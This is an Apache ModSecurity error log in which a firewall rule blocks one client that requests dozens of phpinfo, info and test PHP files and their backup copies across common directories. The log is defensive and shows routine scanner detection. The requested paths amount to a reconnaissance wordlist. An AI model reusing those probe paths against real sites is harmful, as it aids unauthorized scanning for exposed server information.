[Mon Dec 01 19:37:36.786255 2025] [:error] [pid 3247:tid 3296] [client 3.139.75.35:58440] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.bak"] [unique_id "aS1-ACMO2n3Q0MZfETItzAAAANQ"]
[Mon Dec 01 19:37:37.563691 2025] [:error] [pid 5120:tid 5146] [client 3.139.75.35:58446] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_info.php.bak"] [unique_id "aS1-AT5X7_hfFhnUCkLOjwAAAVc"]
[Mon Dec 01 19:37:38.346750 2025] [:error] [pid 5158:tid 5164] [client 3.139.75.35:58462] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php.bak"] [unique_id "aS1-AlsnIOgHXYZw9rYuZwAAAYQ"]
[Mon Dec 01 19:37:39.123789 2025] [:error] [pid 3343:tid 3348] [client 3.139.75.35:58464] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.old"] [unique_id "aS1-A7Lh6htIpruGDDnM4AAAAAM"]
[Mon Dec 01 19:37:39.899775 2025] [:error] [pid 3247:tid 3289] [client 3.139.75.35:58468] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.old"] [unique_id "aS1-AyMO2n3Q0MZfETIt1QAAAM0"]
[Mon Dec 01 19:37:40.679691 2025] [:error] [pid 3343:tid 3362] [client 3.139.75.35:58484] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_info.php.old"] [unique_id "aS1-BLLh6htIpruGDDnM5wAAABE"]
[Mon Dec 01 19:37:41.456935 2025] [:error] [pid 3307:tid 3318] [client 3.139.75.35:58492] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php.old"] [unique_id "aS1-BUhV_0w1hrv72n75aQAAAQk"]
[Mon Dec 01 19:37:42.234221 2025] [:error] [pid 3246:tid 3259] [client 3.139.75.35:58502] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.tmp"] [unique_id "aS1-BlkT8fezoNl7qjd9AgAAAEo"]
[Mon Dec 01 19:37:43.013004 2025] [:error] [pid 3247:tid 3281] [client 3.139.75.35:58504] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.tmp"] [unique_id "aS1-ByMO2n3Q0MZfETIt2gAAAMU"]
[Mon Dec 01 19:37:43.793972 2025] [:error] [pid 3343:tid 3350] [client 3.139.75.35:58512] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/php_info.php.tmp"] [unique_id "aS1-B7Lh6htIpruGDDnM6gAAAAU"]
[Mon Dec 01 19:37:44.571708 2025] [:error] [pid 5120:tid 5125] [client 3.139.75.35:58516] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test.php.tmp"] [unique_id "aS1-CD5X7_hfFhnUCkLOmAAAAUM"]
[Mon Dec 01 19:37:45.352565 2025] [:error] [pid 3384:tid 3404] [client 3.139.75.35:53128] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/phpinfo.php.txt"] [unique_id "aS1-CYrlvm8bC96s6ZFMaAAAAJI"]
[Mon Dec 01 19:37:46.136909 2025] [:error] [pid 5120:tid 5132] [client 3.139.75.35:53138] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php.txt"] [unique_id "aS1-Cj5X7_hfFhnUCkLOmQAAAUo"]
[Mon Dec 01 19:37:46.914536 2025] [:error] [pid 5120:tid 5145] [client 3.139.75.35:53140] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/phpinfo.php"] [unique_id "aS1-Cj5X7_hfFhnUCkLOnAAAAVY"]
[Mon Dec 01 19:37:47.694066 2025] [:error] [pid 5120:tid 5133] [client 3.139.75.35:53146] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/info.php"] [unique_id "aS1-Cz5X7_hfFhnUCkLOoAAAAUs"]
[Mon Dec 01 19:37:48.472464 2025] [:error] [pid 3307:tid 3327] [client 3.139.75.35:53162] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/test.php"] [unique_id "aS1-DEhV_0w1hrv72n75bAAAARI"]
[Mon Dec 01 19:37:49.260069 2025] [:error] [pid 3343:tid 3354] [client 3.139.75.35:53166] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/php.php"] [unique_id "aS1-DbLh6htIpruGDDnM8QAAAAk"]
[Mon Dec 01 19:37:50.039872 2025] [:error] [pid 5158:tid 5175] [client 3.139.75.35:53180] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/phpinfo.php"] [unique_id "aS1-DlsnIOgHXYZw9rYucgAAAY8"]
[Mon Dec 01 19:37:50.823396 2025] [:error] [pid 5120:tid 5139] [client 3.139.75.35:53190] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/info.php"] [unique_id "aS1-Dj5X7_hfFhnUCkLOpAAAAVE"]
[Mon Dec 01 19:37:51.606143 2025] [:error] [pid 5120:tid 5130] [client 3.139.75.35:53200] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/test.php"] [unique_id "aS1-Dz5X7_hfFhnUCkLOpQAAAUg"]
[Mon Dec 01 19:37:52.386400 2025] [:error] [pid 5120:tid 5127] [client 3.139.75.35:53204] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev/phpinfo.php"] [unique_id "aS1-ED5X7_hfFhnUCkLOqAAAAUU"]
[Mon Dec 01 19:37:53.165720 2025] [:error] [pid 5158:tid 5166] [client 3.139.75.35:53212] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev/info.php"] [unique_id "aS1-EVsnIOgHXYZw9rYudwAAAYY"]
[Mon Dec 01 19:37:53.946923 2025] [:error] [pid 3246:tid 3267] [client 3.139.75.35:53216] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dev/test.php"] [unique_id "aS1-EVkT8fezoNl7qjd9CAAAAFI"]
[Mon Dec 01 19:37:54.723856 2025] [:error] [pid 3384:tid 3394] [client 3.139.75.35:53230] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp/phpinfo.php"] [unique_id "aS1-Eorlvm8bC96s6ZFMbQAAAIg"]
[Mon Dec 01 19:37:55.501658 2025] [:error] [pid 3343:tid 3357] [client 3.139.75.35:50948] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp/info.php"] [unique_id "aS1-E7Lh6htIpruGDDnM9wAAAAw"]
[Mon Dec 01 19:37:56.281019 2025] [:error] [pid 3247:tid 3292] [client 3.139.75.35:50954] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tmp/test.php"] [unique_id "aS1-FCMO2n3Q0MZfETIt7gAAANA"]
[Mon Dec 01 19:37:57.060620 2025] [:error] [pid 3246:tid 3263] [client 3.139.75.35:50960] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/phpinfo.php"] [unique_id "aS1-FVkT8fezoNl7qjd9CwAAAE4"]
[Mon Dec 01 19:37:57.838275 2025] [:error] [pid 3343:tid 3350] [client 3.139.75.35:50970] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/info.php"] [unique_id "aS1-FbLh6htIpruGDDnM-wAAAAU"]
[Mon Dec 01 19:37:58.616190 2025] [:error] [pid 5158:tid 5183] [client 3.139.75.35:50978] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/public/test.php"] [unique_id "aS1-FlsnIOgHXYZw9rYugAAAAZc"]
[Mon Dec 01 19:37:59.393346 2025] [:error] [pid 3343:tid 3358] [client 3.139.75.35:50980] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/phpinfo.php"] [unique_id "aS1-F7Lh6htIpruGDDnM_gAAAA0"]
[Mon Dec 01 19:38:00.173590 2025] [:error] [pid 3343:tid 3348] [client 3.139.75.35:50994] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/info.php"] [unique_id "aS1-GLLh6htIpruGDDnNAQAAAAM"]
[Mon Dec 01 19:38:00.949013 2025] [:error] [pid 3247:tid 3298] [client 3.139.75.35:51004] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/test.php"] [unique_id "aS1-GCMO2n3Q0MZfETIt9wAAANY"]
[Mon Dec 01 19:38:01.727832 2025] [:error] [pid 3343:tid 3368] [client 3.139.75.35:51010] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www/phpinfo.php"] [unique_id "aS1-GbLh6htIpruGDDnNBQAAABc"]
[Mon Dec 01 19:38:02.505517 2025] [:error] [pid 3247:tid 3280] [client 3.139.75.35:51022] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www/info.php"] [unique_id "aS1-GiMO2n3Q0MZfETIt_gAAAMQ"]
[Mon Dec 01 19:38:03.282318 2025] [:error] [pid 3247:tid 3279] [client 3.139.75.35:51034] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www/test.php"] [unique_id "aS1-GyMO2n3Q0MZfETIuAwAAAMM"]
[Mon Dec 01 19:38:04.064380 2025] [:error] [pid 3384:tid 3389] [client 3.139.75.35:51044] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/phpinfo.php"] [unique_id "aS1-HIrlvm8bC96s6ZFMmgAAAIM"]
[Mon Dec 01 19:38:04.848832 2025] [:error] [pid 3246:tid 3259] [client 3.139.75.35:51056] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/info.php"] [unique_id "aS1-HFkT8fezoNl7qjd9FQAAAEo"]
[Mon Dec 01 19:38:05.627328 2025] [:error] [pid 3343:tid 3350] [client 3.139.75.35:47042] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/html/phpinfo.php"] [unique_id "aS1-HbLh6htIpruGDDnNCwAAAAU"]
[Mon Dec 01 19:38:06.403877 2025] [:error] [pid 3343:tid 3368] [client 3.139.75.35:47054] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/html/info.php"] [unique_id "aS1-HrLh6htIpruGDDnNEQAAABc"]
[Mon Dec 01 19:38:07.180976 2025] [:error] [pid 3247:tid 3293] [client 3.139.75.35:47066] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htdocs/phpinfo.php"] [unique_id "aS1-HyMO2n3Q0MZfETIuHAAAANE"]
[Mon Dec 01 19:38:07.959995 2025] [:error] [pid 3247:tid 3288] [client 3.139.75.35:47068] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htdocs/info.php"] [unique_id "aS1-HyMO2n3Q0MZfETIuJQAAAMw"]
[Mon Dec 01 19:38:08.744698 2025] [:error] [pid 3246:tid 3252] [client 3.139.75.35:47074] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/includes/phpinfo.php"] [unique_id "aS1-IFkT8fezoNl7qjd9GQAAAEM"]
[Mon Dec 01 19:38:09.522317 2025] [:error] [pid 5158:tid 5183] [client 3.139.75.35:47080] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/includes/info.php"] [unique_id "aS1-IVsnIOgHXYZw9rYuigAAAZc"]
[Mon Dec 01 19:38:10.308327 2025] [:error] [pid 3247:tid 3281] [client 3.139.75.35:47096] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scripts/phpinfo.php"] [unique_id "aS1-IiMO2n3Q0MZfETIuNAAAAMU"]
[Mon Dec 01 19:38:11.082972 2025] [:error] [pid 5158:tid 5165] [client 3.139.75.35:47112] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/scripts/info.php"] [unique_id "aS1-I1snIOgHXYZw9rYukAAAAYU"]
[Mon Dec 01 19:38:11.858941 2025] [:error] [pid 5120:tid 5126] [client 3.139.75.35:47118] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/phpinfo.php"] [unique_id "aS1-Iz5X7_hfFhnUCkLOxwAAAUQ"]
[Mon Dec 01 19:38:12.643221 2025] [:error] [pid 3247:tid 3285] [client 3.139.75.35:47128] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/info.php"] [unique_id "aS1-JCMO2n3Q0MZfETIuQgAAAMk"]
[Mon Dec 01 19:38:13.419950 2025] [:error] [pid 3247:tid 3280] [client 3.139.75.35:47142] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload/phpinfo.php"] [unique_id "aS1-JSMO2n3Q0MZfETIuSgAAAMQ"]
[Mon Dec 01 19:38:14.198128 2025] [:error] [pid 3343:tid 3357] [client 3.139.75.35:47158] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/upload/info.php"] [unique_id "aS1-JrLh6htIpruGDDnNHAAAAAw"]
[Mon Dec 01 19:38:14.979895 2025] [:error] [pid 3343:tid 3368] [client 3.139.75.35:47166] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/phpinfo.php"] [unique_id "aS1-JrLh6htIpruGDDnNIAAAABc"]
[Mon Dec 01 19:38:15.759003 2025] [:error] [pid 3343:tid 3364] [client 3.139.75.35:54248] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/info.php"] [unique_id "aS1-J7Lh6htIpruGDDnNJAAAABM"]
[Mon Dec 01 19:38:16.535720 2025] [:error] [pid 3247:tid 3298] [client 3.139.75.35:54262] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/phpinfo.php"] [unique_id "aS1-KCMO2n3Q0MZfETIuXAAAANY"]
[Mon Dec 01 19:38:17.316498 2025] [:error] [pid 3384:tid 3406] [client 3.139.75.35:54268] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/info.php"] [unique_id "aS1-KYrlvm8bC96s6ZFM2gAAAJQ"]
[Mon Dec 01 19:38:18.094035 2025] [:error] [pid 3343:tid 3358] [client 3.139.75.35:54284] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/phpinfo.php"] [unique_id "aS1-KrLh6htIpruGDDnNJgAAAA0"]
[Mon Dec 01 19:38:18.878297 2025] [:error] [pid 3343:tid 3366] [client 3.139.75.35:54290] [client 3.139.75.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/static/info.php"] [unique_id "aS1-KrLh6htIpruGDDnNLgAAABU"]
